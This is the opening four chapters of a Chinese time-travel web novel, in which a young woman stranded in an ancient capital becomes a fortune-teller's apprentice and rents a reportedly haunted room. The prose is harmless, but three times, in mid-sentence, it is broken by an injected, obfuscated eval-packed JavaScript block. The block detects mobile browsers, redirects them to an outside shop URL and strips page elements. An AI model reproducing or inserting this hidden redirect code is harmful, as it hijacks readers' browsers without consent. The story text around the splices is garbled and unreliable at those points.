《国师就不能胡说八道了吗》 1. 第 1 章 “小娘子,我这儿真不缺人写话本,你快走吧,去别家问问,别打扰我做生意啊……” 垂头丧气地从西市最后一家书铺出来,闻钰沉沉叹了口气,在路边的石墩上坐下。 已近黄昏,摊贩们都陆陆续续收拾东西回家,只留下几个做夕食生意的摊子火热开张,浓郁的香味幽幽飘来,钻进闻钰鼻中,一天下来水米未进的肚子不识趣地“咕咕”响着。 她这不长不短二十二年的人生,虽然她爸妈没让她过上什么大富大贵的日子,却也从没挨过饿。好不容易大学毕业了,和好朋友一起合租了个满意的房子,就要开始全职作者的新生活,谁成想,在出租屋里一觉醒来,人却到了古代。 闻钰站起身,拍拍身上不存在的灰,拎着小包袱疲惫地往回走。 本来想重操旧业继续写小说,可去书铺自荐写话本的计划失败,她得再想想还能做些什么,今晚只好再去城门边凑合一晚了。 遥遥望着高大的城门,左右两边都是古代房屋,闻钰走在青石路正中,擦身而过一对母子,母亲正拎着玩得不愿归家的小孩耳朵训斥,孩子的哭声能从街头传至街尾。闻钰停下脚步,转过头望着那对母子拐进窄巷中,又低头看了看自己身上的古代衣裙,仍旧觉得周围的一切都不太真实。 哪有这么随便的穿越? 别家穿越女主都是来宅斗宫斗拯救世界的,再顺便谈个甜甜恋爱,怎么换成她,刚来第二天就要饿死自己了? 算了,幸好这里也是夏天,若是冬天,她还没饿死怕就要先冻死了。 “钰娘,钰娘!” 从胡思乱想中回过神,闻钰朝出声的人望去,刘婶正向她招手。 闻钰走过去,刘婶笑着打量她身上的衣裳:“昨天没仔细看,现在瞧你穿着正合身呢,我家阿兰像你这个年纪时,最喜欢的就是这身衣裳了。” 想到自己穿着可爱小熊睡裙出现在大街上的模样,闻钰尴尬道谢:“多谢刘婶借我衣裳,我会尽快还给你的。” “不着急,我家二妞这两年也穿不上。怎么样,今天在西市找到活干了么?” 闻钰摇头叹气。 “那也还没吃饭吧?”刘婶将她按在桌边坐下,手脚麻利地给她打了碗粥,又添了两个包子,“我正要收摊呢,也没剩什么吃的了,不嫌弃的话就先凑合吃着。” 闻钰连连摆手拒绝:“我已经借了您家的衣裳,怎么还能连吃带拿的。” “吃吧,都是今天卖剩下的,也不可能留到第二天再拿出来卖了……”刘婶收了话音,两手叉腰,佯怒道,“莫非你是真看不上我这点吃的?” 饿了一天的人哪还有嫌弃的份,虽然只是水比米多的一碗清粥和两个菜包子,此刻对闻钰来说也都是救命稻草,她真是饿得要没力气走路了,于是她也不再推辞,道过谢后便开动了。 卖胭脂首饰的徐家娘子推着板车路过,瞧见这菩萨做派的刘婶子和那当真坐下吃白食的娘子,撇了撇嘴未置一言,转头看见刘婶隔壁摊子的人,稀奇道:“哎哟,神道长,这么晚了还没走呢?” 神道长稳坐如山,眼珠一转瞥了眼正埋头吃饭的人,抬手抚了抚灰白的胡须,微微提高了声音:“老夫自然是——在等有缘人。” 这一听就是在唬人的话,闻钰差点没忍住笑,她咽下最后一口包子,擦了擦手,抬头往神道长的摊子看了一眼,旗帜上大大的“神道长”三个字迎风飘动,怎么看怎么不靠谱。 二人对上眼神,神道长眼睛一亮,闻钰霎时心道不妙,下一刻果然就听对方道:“小钰娘子今日找活计可是不顺利?” 这老头刚才肯定在旁边偷偷听她和刘婶说话呢,有过昨天被缠上的遭遇,闻钰不是很想和他搭话,默默移开了目光,低头喝粥。 眼瞧着人也不愿搭理自己,徐家娘子默默翻了个白眼归家去了。 神道长却不气馁:“我瞧小钰娘子于占卜一道天赋异禀,老夫不过是惜才罢了。” “娘子肯定以为我在诓骗人吧?”见闻钰抬头,神道长勾了勾嘴角,继续劝说,“我可不轻易收徒,这点大家都可为我作证,刘婶你说是不是?我们一同在西市摆摊没有八年也有五年了,可曾见我收过一个徒弟?” 刘婶闻言讷讷点头,也稀奇道:“这倒还真没有。” 见刘婶眨眼间就换上一副“这人该不会真的是天赋异禀的神棍吧”的表情,闻钰木着脸开口:“我不过是今天运气不好而已,明天去东市瞧瞧,肯定能有书铺愿意收下我。” “非也,非也!”神道长摇头,“老夫算过了,你的运道好着呢。可这样好的运道,却在西市连连碰壁,最后又到了这里,不是与老夫有缘是什么?” 他叹了口气:“若娘子能跟着我学几手,我也算将这身本事传下去,也能对得起师父了……” 闻钰不欲再听他忽悠,起身收拾了自己用过的碗筷,接过刘婶手里的推车,想要帮她将东西都送回家去,刘婶推拒两句,见她执意,便任由她去了。 “姐姐!”两人刚走了没几步,忽地冲出来一个十岁左右的孩子,不由分说地从后面抱住了闻钰的腰,闻钰吓得两手一抖,推车上的碗筷叮当作响。 “哎,你这孩子,快松手,”刘婶连忙上前拉住自家二妞,“这不是你姐姐!” 二妞松开手,瞧见闻钰的脸,脸上的迷茫立刻又化作愤怒:“你是谁!为什么偷我姐姐的衣服穿,还偷我们家的车!” “瞎说什么!”刘婶见二妞又要冲上去,将人用力拽住,“这位姐姐是在帮娘推车呢!” 得知了来龙去脉,却仍瞧着有些不服气的二妞在亲娘虎视眈眈的目光下,扭扭捏捏地上前来和闻钰道了歉,就钻到了刘婶的另一边,隔着个人偷偷往她身上觑着。 刘婶也一连朝她道歉,闻钰不在意地摆摆手:“没事儿。” 刘婶家就在城中,拐了几个弯就到,推车送进了家,闻钰婉拒了刘婶留她坐坐的客套话,转身离开。刚走到巷子口,刘婶却又叫住了她:“钰娘!” 闻钰疑惑转头,刘婶快步走到她面前,问:“晚上可有地方歇息?” 闻钰着实觉得有官兵守着的城墙边上是个睡觉的好地方,但在刘婶殷切的目光下,仍是羞于开口,刘婶看懂了她的窘迫,主动道:“二妞她爹今日一早就出城去了,过几日才回来,娘子要是不介意,可以先在我家住两日。” “不介意!当然不介意!”这刘婶是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481184|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大好人,闻钰感动得泪水都要落下来了,简直想当场给她颁个“感动世界”的奖。 刘婶带着她走进堂屋右侧的屋内:“这是阿兰和二妞她们姐妹俩住的屋子,阿兰出嫁三年了,也很少回来住,你就安心住着,这两天二妞跟我睡一屋。你瞧瞧缺什么就和我说。” 闻钰笑着应下:“好,多谢刘婶。” 气鼓鼓的二妞进屋抱住自己的布玩偶,又气鼓鼓地转头去了父母住的屋,闻钰和刘婶二人哭笑不得。打量了一圈二妞住的小屋子,屋顶并不太高还显得有些压抑,闻钰却发自内心地欣喜。 今天好歹有个屋顶能遮风挡雨了。 刘婶望着闻钰,不知想到什么,微微叹了口气:“其实……你要是不介意做那一行,跟着神道长学学也不是什么坏事。” “为什么?”看出刘婶是认真在劝她,闻钰想了想,只找到一个可能的答案,“给人算命很赚钱吗?” “那倒不是。”刘婶笑出了声,“都是小摊小贩的,能挣得到几个钱?” “我虽然不知书铺都是怎么开的,但都是做生意的,你一个刚到京城的生面孔,就算书铺愿意收你写的话本,怕也不会什么都没收到就赊账给你,那你在写出话本前要怎么养活自己?依我看啊,那神道长也是真心想收你做徒弟,你倒不如先跟他学着些,好歹先混口饭吃,是不是?” “你也别嫌我啰嗦,娘子既会读书识字,想来家中并不清贫,但京中什么都卖得贵,这纸墨笔砚可都要不少银钱呢。” 闻钰昨天对着好心借她衣服的刘婶编了一通谎话,说自己进京寻亲却找不到人,路上又花光了盘缠,才落魄至此,此刻听她重提,微微心虚了一下,但她也明白刘婶说的话是有道理的。 虽然她相信自己写书的能力,见识过百花齐放的各种中外文学、逆袭爽文和套路的现代人,难道还拿捏不住这些古代人吗?但这种时候,她认为听一听本地人的话,或许能少吃点亏。 毕竟,她是真的快要饿死了。 于是闻钰郑重点头:“我会好好想想的。” 送走刘婶,闻钰合上门,天几乎已经黑透了,只透过半开的窗户照进来最后一点余晖。 漆黑的屋子里,没有电灯,没有手机,没有电脑,更没有wifi,闻钰深深呼出一口气,整个人重重往后,在硬得硌人的床榻上倒下—— 她得认命啊,她真的来到了这个什么都没有的古代了。 虽然她到现在也没摸清,自己究竟是魂穿还是身穿。 如果是身穿,那这个穿越技能还自带年轻五六七八岁的副作用……如果是魂穿,那她昨天醒来时穿着的现代睡裙,以及手里提着的帆布包又要怎么解释? 不过她昨晚似乎做了个梦,可是那梦的画面太模糊,好像也没有什么情节,只剩下一个无法分辨的人影。莫非是原主留下的记忆? 闻钰摸黑在床上找到她的小包袱,又站起身来,将窗推大了些,就着微弱的光勉强看清白色帆布包里的东西。 充电宝、雨伞、一小盒薄荷糖,还有一个零钱包,里面装着一个硬币、几张纸币和出租屋小区的门禁卡。 这就是跟着她一起来到古代世界的全部东西。 2. 第 2 章 这一晚闻钰睡得很沉,但或许也因为睡得太早,天微亮她就迷迷糊糊转醒了,望着陌生的屋顶发了好一会儿呆。 听见门外刻意压低的说话声,想到刘婶主要是卖早点的,肯定得半夜就起来忙活。闻钰想要出去帮忙,却没料到在坚硬的木板床上睡了一晚就腰酸背痛,龇牙咧嘴地坐起身来,就听见细微的推门声。 闻钰表情僵在脸上,被探了半个脑袋进来的二妞瞧个正着,吓了一跳。二妞推门的动作停住,一双漆黑的眼睛像小鹿一般,小声问:“我吵醒你了?” 娘还特地嘱咐过她不要吵醒人呢。 “没有没有,”闻钰连忙起身,“我正好也醒了。” 二妞松了口气,那就和她没关系,不会被娘骂了。她走进屋里打开衣柜,找出一件外衣披上,余光里眼熟的衣服又一次被人穿上,不太高兴地嘀咕:“怎么偏偏是这身衣服……” 过于安静的清晨,饶是外间时不时传来洗菜切菜的声音,闻钰也清晰听见了二妞的话,她正系着衣带的手顿住,看向二妞:“要不——你帮我换一件别的?” 二妞背对着闻钰,没想到自己的话被对方听见了,闻言又吓了一跳,她转头看了眼闻钰,又飞快嘟着嘴转回去,大步往门边去:“……算了,你穿着吧。反正姐姐也好久都没回过家了。” 她当然知道衣服肯定是娘给出去的,但她就是不高兴,她也说不明白为什么。 门外有人轻声唤着“二妞”,二妞抛下自己这想不出答案的混乱思绪,出了屋子,应声:“来了。” “你这么大声做什么,不是叫你别吵醒人!” “她都醒了……” “……” 闻钰隔着门将母女二人的话听了大半,收拾好床铺和自己的东西,推门出去,笑着和刘婶打了招呼,又帮着二妞将包子往蒸笼里摆放。 包子一个接一个的从刘婶的手里冒出来,麻利得仿佛变魔术一般,看得闻钰惊叹不已,饶是已经做了几十年包子的刘婶也在她连连夸赞的话语中找到了新乐趣,笑得嘴就没合拢过。 唯有二妞默默瞪着闻钰,这个人穿着她姐姐的衣服也就算了,现在还想要抢她娘! 今日的准备都做完,刘婶拍拍手上的面灰,笑着问:“劳累你跟着我们娘俩做这些了,一会儿蒸好了记得拿几个包子吃,娘子今日是要去东市的书铺?” 闻钰摇头,“我和你们一起去西市吧。” “娘子这是想好要做神道长的徒弟了?” “嗯……算是吧,刘婶您昨天说得对,我还是得先活下去,才能想法子赚别的钱。” 成日里对着自家那倔得不行的二妞,难得见到个肯听劝的小辈,刘婶欣慰点头:“想明白了就好。” 包子蒸好,每人各拿了一个菜包和一个肉包作早餐,二妞留下看家,站着门口目送二人推车离开。闻钰和刘婶到西市街上时,太阳刚从地平线冒出个头。 随着天色亮起,街上的行人也多了起来,刘婶的摊子摆了这么些年,来光顾的大多也都是些面熟的常客。刘婶和客人们寒暄着,手上帮人拿包子、盛粥的动作不停,没一会儿就卖出了大半。 早点铺子的左右都还空着,闻钰没事干,就帮着刘婶收拾客人留下的碗筷,还惹得老客们频频打量,问刘婶可是新招了个帮工。刘婶笑着否认,又让闻钰不必帮忙,歇着就好。 闻钰本身也不是个能在人堆里自在穿梭的人,坚持了一会儿,还是依从本心,默默躲到了一边去。 随意找了一处坐下,闻钰揉了揉笑僵的双颊,不由得叹了口气。她连给人当服务员都抹不开面子,还想着当神棍呢?那个神道长果然就是忽悠她吧,她哪里看起来有做这行的天赋了? 身后的店铺门打开,闻钰扭头,竟是昨天去的最后那家书铺的老板。书铺老板一瞧见她,脸色立刻就不大好看了。 闻钰不大喜欢这个老板趾高气扬的派头,对着他那张臭脸,在他就要开口赶人之前,先发制人道:“我不是来纠缠你的。” 老板一口气噎在嗓子眼,顿了顿,收了脾气问:“那是来做什么的?买书么?” “我就是路过——”闻钰眼尖瞥见了摆在门口显眼位置的毛笔和淡黄色的空白纸张,飞快改口道,“顺便来瞧瞧笔墨纸砚,不行么?” “……行。” 老板侧身给她让了条道,闻钰负手昂头,大摇大摆地走进店内打量了一圈,问:“你这儿,最便宜的笔墨纸砚,要多少钱?” “我这儿最便宜的羊毫笔也要五十文,墨锭两百文,砚台两百文。至于纸嘛,得看你要多少,若是写话本用的,最次的纸也得要个四五十文才够吧。” 闻钰面上端着,心里迅速算出了总价,也就是说,如果要写话本,她至少得有五百文的成本费才行,而且听这老板的意思,这家店卖的还不是最便宜的,或许还能在别家找到便宜些的。虽然她暂时还什么都买不起,但至少心里对这里的物价有个底了。 “我知道了。不过老板,你的话也别说太死了。我敢保证,我能写出和你这店里,不对,是和全京城所有的话本子都不一样的故事。你不收我,以后可会后悔的。我下次会带着写好的话本再来的,你昨天的拒绝,我就先不当真了。” 老板先是一愣,随后笑出了声,他并非没有见过写话本的女子,但他还是第一次见到敢这么说话的。可不得不说,她把话这么一撂,他倒还真好奇起来她会写些什么了。 闻钰溜达一圈,回到刘婶的摊子边,刘婶已经忙里偷闲地坐下歇息了,瞧见闻钰往旁边摊子打量,看了眼天色,说:“这个时辰,神道长也差不多该——哎,来了来了。” 顺着她说的方向看过去,闻钰远远就瞧见那在半空中晃着的“神道长”三个字。 随着旗帜走近,神道长也瞧见了站在刘婶摊子前的人,他却似乎一点也不惊讶闻钰在这,笑眯眯地将旗帜立直,抚着胡须坐下,一边摆出自己吃饭的家伙,一边道:“小钰娘子今日一早便在啊,不是要去东市么?” 再寻常不过的一句寒暄,神道长却不复前两日热切的拉拢,好似故意,完全不提收徒一事。 到底是她有求于人,拒绝了别人两次,却又回头来求人,该低头的时候还是得低头啊。闻钰尴尬地清了清嗓子:“咳,东市今日便先不去了。不过……道长前两日收徒的话,可还作数?” “哦?娘子这么问,莫非是改变心意了?” “是,”闻钰走到神道长面前,郑重道,“我认真考虑过了,我可以做你的徒弟,但我也要先说清,我是为了能够尽快赚钱才答应的,写话本的事我也不会放弃,所以我不能保证会给你当多久的徒弟。当然,该我做的事情我也不会偷懒。” 神道长点点头,抬手示意她坐下:“何需这么严肃,能做多久的师徒,本来也全看我们有多少缘分。至于你是为什么答应,私下里又做些什么,那我可管不着。” 听了这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481185|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闻钰就知道事情成了大半,绷紧的脊背微微放松了些,接着问起了一个打工人最关心的事:“那……每个月能给我多少钱?” 闻钰在心里盘算着,按刘婶一个肉包子卖三文、菜包子两文的价格来看,直接将单位换成元,似乎也和现代差不太多,一个月光是吃饭就得三百文,虽然不知道这里租房是什么价格,但感觉月薪至少也得有六七百文她才能活得下去吧。 这么一对比,五百文几乎是一个月不吃不喝也攒不出来的钱了,读书人用的东西,在这个时代果然是奢侈品。 闻钰飞速算完了账,期待地看着她未来的新老板,希望对方能说出一个让她满意的数字,却见神道长眉头一皱:“我为何还要给你钱?” “???”闻钰傻眼,“……难道要我打白工吗?” “能挣多少自然全凭你自个儿的本事了。”神道长啧啧两声,看向她的目光中都带上了几分嫌弃,“一个铜板都还没赚到,就惦记着从师父兜里掏钱的徒弟,我也真是第一次见。还想要月俸呢,又不是当官儿来了,你瞧瞧——” 神道长伸手移开摊子上的罗盘,桌布顺势垂落,露出上面写的字:算卦十文。 他颇有些心酸地叹了口气:“师父的钱也不是天上掉下来的啊。” 闻钰看着那四个字,只觉自己仿佛又跳进了另一个坑,不太确定地问:“一天能有多少人?” “好的时候能有五六人吧。”神道长实话实说,见闻钰面色不善,反应过来实话不大好听,生怕自己的新徒弟就这么被吓跑了,又道,“当然,也不全靠给人算卦,时不时也会做做法事,去凶辟邪,再看看风水。” 这些额外的工作,显然都不是算卦那十文钱就能打发了的,闻钰提起来的心又放了下来。师父总得吃上肉,徒弟才能喝上汤啊。 “事儿这不就成了么!”围观了全程的刘婶见时机到了,猛地一拍手,用眼神示意闻钰,“还不快叫师父?” 闻钰一怔,手足无措地抬起手,却也不知该做些什么,只好装模作样地学着电视剧里的人,拱手唤了声“师父”。 神道长笑得眼睛都眯起来,满意地抚着胡须点头:“我收徒也没什么讲究,你每日这个时辰来这里就行了。” 闻钰也笑,觑着他脸上神色,继续道:“不过我还有件事想求师父。” 神道长心情正好:“你说。” “师父可否先借我一些钱?”在他变脸之前,闻钰迅速解释,“徒弟现在没地方住,也没钱吃饭,连衣服都是刘婶好心借给我的……” 说到这里,闻钰面上适时露出几分苦涩:“师父肯定不忍心看徒弟风餐露宿,最后横尸街头吧?” 这借钱的理由合情合理,神道长的确也知晓她现在的处境,捏着怀里的钱袋,眉头反复皱起又松开,纠结一会儿,最后不大高兴地开口:“要借多少?一贯钱够了吧?” 没想到这师父看着小气,出手倒还挺大方,闻钰连连点头,沉甸甸的一串铜板捧在手心,她真心实意地再次拱手:“够了够了,等我挣到钱就马上还,多谢师父!那我现在先去租个屋子——” 虽然刘婶家还能再留她住一天,但找房子的事儿拖不得。还得买两身衣服,把阿兰的衣服洗干净还给刘婶,免得二妞老惦记。 神道长却打断她的话:“不着急,一会儿人就来了。” 闻钰疑惑:“什么人?” 神道长慢悠悠:“等人来了,你就知道了。” 3. 第 3 章 “好吧……”闻钰只好又悻悻坐下,“那我现在需要做些什么?” 神道长示意她瞧桌上的东西,“可知道这些都是什么?” “铜钱,这个……是龟甲吗?” 闻钰最先认出了简单的两个,见神道长赞许点头,目光又落在一个有些年头的木质圆盘上,瞧见正中的东南西北四个方位以及指针,嘴比脑子动得快,脱口而出:“指南针?” 可是那瞧着像指南针的部分只占了小小一个圆,外面围了一圈圈大大小小的格子,其中有的画了图案,有的写了子丑寅卯之类的字,瞧着像是什么推算时间年份的东西,闻钰皱起了眉:“好像又不是指南针……” “中间确实是指南针,”神道长伸手摸着圆盘,一圈一圈地向闻钰介绍着名字,“这叫做天地罗盘,这一圈是五行,这圈是八卦图,然后是天干、地支、二十四山向、二十八星宿、九星……” 神道长介绍完了,颇有些怀念地在光滑的龟甲背上抚了抚:“这罗盘和龟甲,可都是你师祖留给我的。” 闻钰听得云里雾里,头疼得不行,简直感觉回到了中学语文课上,那些文言课文里的每个字她好像都认识,意思却没一个能对上的。好不容易在现代上完了学,怎么到古代还要学个没完呢。 “那这天地罗盘,是用来做什么的?”闻钰心里叫着苦,这罗盘一看就非常复杂,应该不会是什么太常用的东西吧?她可不想一上来就学这怎么复杂的东西,旁边那龟甲和铜板看起来就很不错,很适合她这种新手。 “多是用来算风水的,有时候也会用来卜卦——” “阿四来了啊。”听见旁边的刘婶和人打着招呼,神道长止住话,也抬头看向来人,笑问:“来了?” “嘿嘿,”阿四笑着走到神道长的摊边,一边觑着眼生的闻钰,一边答,“我今日临出门时不过耽搁了一会儿,怎么就有人赶在我前头来找道长算卦了?今日道长开张得早啊。” 闻钰也扭头打量他,这名唤阿四的人个子不高,是个身材略有些圆润的中年男人,一双眼睛本就不大,一笑起来,几乎都要眯成一条线。 “可还没开张呢,这是我新收的徒弟,年纪轻轻的,也没个眼力见。”神道长扫一眼闻钰,“见到客人来,还不快起来让座?” “哦!”闻钰这才反应过来,连忙起身,绕过摊子,站到神道长身边去。 阿四坐下,数出五枚铜板递给神道长,看向闻钰的目光更加惊奇了:“徒弟?” “是啊,”神道长也没多解释,只是熟练地拿起三枚铜板塞进龟甲中,微微偏头提醒闻钰,“看好了。” 铜板在龟甲中上下翻滚,碰撞出哐哐当当的声响。闻钰正巧瞥见神道长的发顶,之前离得远了没仔细瞧,他灰白的头发底下,竟还透出些黑亮的颜色,皮肤似乎也不像五六十岁的人那般,难道神道长真的不是普通人?还是古代真有什么返老还童的功夫? 闻钰来不及多想,只见神道长松开一边的手,让三枚铜板落在桌上,皆是有花的那一面朝上。 阿四凑近一看,立刻喜笑颜开:“大吉!” “不错,是大吉。”神道长也很满意这个结果,笑着抚了抚胡须,“看来也不是巧合,阿四日日捧场助我开张,今日便换我助你了,我这徒弟刚到京城,还请你帮她寻个合适的住处。” 一听有活,阿四那双不大的眼睛立刻变得炯炯有神,欣然应下:“那当然!这位……小道长,怎么称呼?” 道长的徒弟自然也是要当道长的,阿四只思考了一瞬就唤出了这个名号,闻钰刚从“这卦这么简单就算完了?!”的震惊中回过神来,便被这个称呼尴尬得浑身一抖,连忙道:“叫我小钰就好。” “好嘞,小钰道长想寻个什么样的地方?” ……怎么还是喊她道长。 算了,她也懒得再纠正,闻钰挠挠头,左右瞧了瞧,她来到这里也不过第三天而已,连西市都没出去过,最远也就去过长街另一头的几家书铺,也说不出什么巷子的名字,只好简单道:“离这里别太远就行,就我一个人住,也不用太大,最好……能便宜些。” 阿四精明的眼珠子转了两圈,脑海中一家家一户户地翻找着,还真叫他想到这么一处地方,他起身往外头走了两步,指着不远处一个巷子口朝闻钰道:“宁安巷最里头有一家,后院还空着一个屋子,那院子里的另一屋也是租给了一位娘子,二人分着,租钱也就不那么贵了,每月只要五百文,小钰道长可介意与人同住?” 这不就是现代的合租吗?闻钰没想到古代就已经有人这么干了,只是她不太能接受和陌生人合租,但听这合租都要五百文,要想自己一个人住,怕是这个月都得吃土了。 怎么偏偏给她穿越到了京城?就算是古代,寸土寸金、物价高昂的首都,是她这种外地得不能再外地的人能混得下去的地方吗?! 纠结一会儿,闻钰还是不死心地先问了价格:“若是不与人同住,租钱得要多少?” “那就得看大小和位置了,大些的多是一贯钱以上,小的怎么也得八百、九百文了。”阿四老实报出价格,许是看出她实在纠结,又接着劝,“虽是与人同住,但那院子很是不错,另一屋的娘子我瞧着也是个好相与的,不然小钰道长先去瞧瞧屋子,再做决定?” 闻钰闻言看向神道长,对方不甚在意地摆摆手:“去吧。” 刘婶总归比神道长心思细腻些:“阿四可是京里出了名的房牙子,保证能给你找到合心的住处,放心去吧。” 阿四乐了:“就冲这句话,明儿一早我也得来婶这买几个包子。” “成!”刘婶咧嘴笑着,“明日说什么我也得给你留几个。” 阿四又道了两声谢,转头看向闻钰:“那……小钰道长,咱们走吧?” 闻钰:“好。” 这宁安巷并不太长,闻钰感觉也不过走了五六分钟,就见阿四遥遥指着最里头的那户人家道:“前面的陈宅就是了。” 闻钰点头,直直朝着那边去,临到头时,阿四却忽地拐进一个窄巷,招呼着还在往前走的闻钰:“这边,小钰道长,走这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481186|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。” 见闻钰疑惑,他挠了挠脸,解释道:“正门那是屋主家用的,租的是后院,门在这边。” “……”听起来是这个理,闻钰沉默跟上,却悄悄放慢脚步,和阿四分开了两三步的距离。走在这只有外头的路三分之一宽的窄巷里,她心里总是不太安稳,已经开始盘算着,一会儿要是瞧见有任何不对劲的地方她就立刻跑路。 阿四在一扇木门外停下,敲了敲门,提高声音问:“安娘子在家么?” 门后传出一女声回应:“我在,什么事?” “我是阿四,有位娘子想来瞧一瞧空屋,现在可方便?” “现在么?……稍等。” 二人在外头等了片刻,只听院里轻巧的脚步声来回一趟,木门从里面打开。 安娘子瞧着有些瘦弱,面上有几分疲惫之色,一头长发高高束起,身上衣衫还有些未干的水痕,显然正忙着做事。阿四连声道着“打扰”,安娘子退后一步,捏着手,有些拘谨地请人进了门。 闻钰向她微微颔首,跟在阿四身边边走边瞧。 “那里原本有条通向主院的路,后来要租后院,陈家人就把墙砌上了,这样一来平日进出也互不打扰……” “这院子有三个屋子,左边那间安娘子住着,右边这间是空屋,两个屋子大小差不多……这儿还有一间柴房,太小了,没法住人,正好用来砌了个小厨房,还能放些杂物。” 闻钰的目光从里面码得整整齐齐的干柴上略过,又转头重新看向院子,院中有一口井,井边放了个大水盆,里面还堆着打湿的衣服和木杵。角落里摆了两盆花,一盆开得正艳,另一盆许是未到花期,但叶子也绿油油的。 她不认识是什么花,但从这院子整洁的环境,闻钰能看得出这位安娘子是个勤快人。 经历过大学宿舍的都知道,住在一块儿最容易导致争吵的就是卫生问题,如果室友是个爱干净的,至少能从源头上解决大半矛盾。 闻钰看向安娘子的目光不由带上了几分欣赏,只是安娘子却不知为何仍旧不安地捏着手,一对细眉微微蹙起,时不时瞥一眼合着的屋门。 难道这安娘子并不想要与人合租? 二人没有多留,同安娘子道了别,又原路走回了宁安巷。 阿四觑着闻钰的脸色,率先发问:“小钰道长觉得如何?” “挺好,”闻钰自是称赞,“但是——那安娘子也不介意与人同住么?” “那是自然,这安娘子也是我给找的住处,当初搬进去时就说好了的,会有人同住,不然那租钱也不可能这么便宜,您说是吧?” 闻钰点点头,说得也是,一直独自低价住着合租房,换做是她也不会希望有新室友搬进去,一时不高兴也情有可原。 “不过,”阿四面上少见地露出几分心虚,“像这样便宜的屋子不好找,虽然我觉得这陈家后院是个好地方,安娘子性子也好,安静不闹腾,但有的事还得提前和道长说一声……” 他压低了声音道:“这院子,晚上似乎闹鬼。” 4. 第 4 章 话音刚落,闻钰感觉颈侧一阵寒风刮过,后背汗毛直竖:“那你还带我来看这样的屋子?” 阿四脸上赔着笑,连忙解释:“主要是附近也没有比这儿租钱更便宜的地方了……而且吧,在安娘子搬进去之前,也没听人说过那院子闹鬼,后来接连两人都说半夜会听见鬼婴哭泣,吓人得很,可问过附近邻居,又都没有刚出生的婴儿,于是一个个的刚搬进去没几天,就又都搬走了。” 说到这,阿四扭头瞥了眼已经看不清的陈家院墙,叹了口气:“那陈家,原先也有人在朝里有个一官半职的,后来出了些事,越发没落了,却又不愿搬离京城,现在连后院都要分出来换些租钱度日……陈家管事前些日子还特地同我说,若是这月再找不到愿意与安娘子同住的人,就要请安娘子离开了。” 请人离开这几个字阿四说得委婉,但管事的原话可就没那么客气了。闻钰自然也明白,被房东赶出去的场面能好看到哪里去,却不由奇怪道:“既是闹鬼,那安娘子就不怕么?” “这事儿说来也怪,我问过安娘子,她说夜里睡得沉,不曾听过到什么怪异声响。闹鬼的屋子,似乎就只有右边那间……” 见闻钰抿着唇不说话,阿四又殷勤地说着好听话:“兴许道长法力无边,搬进去便能镇住那些个妖魔鬼怪的呢?若是还能请神道长来瞧瞧,那就更好了……” 闻钰算是听明白这人打的什么算盘了,不大高兴地斜着眼睛觑他:“这话你怎么不和陈家人说?让他们家请人来看看不就好了?” “哎哟喂,道长,我就是靠这行吃饭的,这话陈家人自己说得,我却提不得啊。这要是陈家真听了我的话请人来做法事,却又没除掉,还闹得人尽皆知,这屋子以后哪里还能租得出去,这不是砸自己饭碗嘛!陈家人还住在那宅子里呢,若真闹大了,他们也不会叫我好过的……” “再说了……我也是瞧安娘子可怜,一个人跋山涉水地从南边来,在东西两市也飘泊了好些日子才攒够钱租个屋子,就靠着后院那口井,每日帮附近人家做些浆洗衣物的活计,若是又没了住处,她这日子可要怎么过……” 闻钰知道阿四这是故意卖惨让她心软,虽然她自己都还没着落呢,但安娘子好不容易安稳下来,若又重新流落街头,这样的局面确实也是她不忍心见到的。 况且,只有这里的房租最便宜,而且离神道长的摊位也很近。 闻钰暗暗给自己鼓劲,她是来自21世纪,经受过多年科学教育的现代人,什么妖魔鬼怪,在这个世界上都是不存在的!此时此刻空空如也的荷包才是真实的! 就算真有什么怪事,多半也都是有人在背后搞鬼。而且阿四说得对,她解决不了的,还能请师父出马,她有什么可怕的! 闻钰松了口,阿四仿佛了了一桩心事一般,满面喜色地带着她去与陈家管事签契。闻钰先是被那密密麻麻的繁体字契约震住了,心里正庆幸着自己的名字繁简体差别不大,但真拿起毛笔的那一刻,她的手又开始控制不住地颤抖了。 歪歪扭扭地写下名字,在陈家管事和阿四一言难尽的目光中,闻钰默默别过了头。 看来她这写话本子的道路还远着呢,光是看懂字还不够,得要会写才行,不然这再好的故事,没一个人能看懂,那不就白写了吗? 闻钰交了租钱,借来的一贯钱一下就少了一半,幸好阿四的“中介费”是陈家出,不然光是介绍闹鬼的房子给她这一条,她就得好好和他掰扯几句讲讲价。 租房的事告一段落,阿四给闻钰指了去往成衣铺子的路,笑得满面红光地同她告辞离开了。闻钰感受着重量不复从前的钱袋,长叹一声走向了成衣铺子。 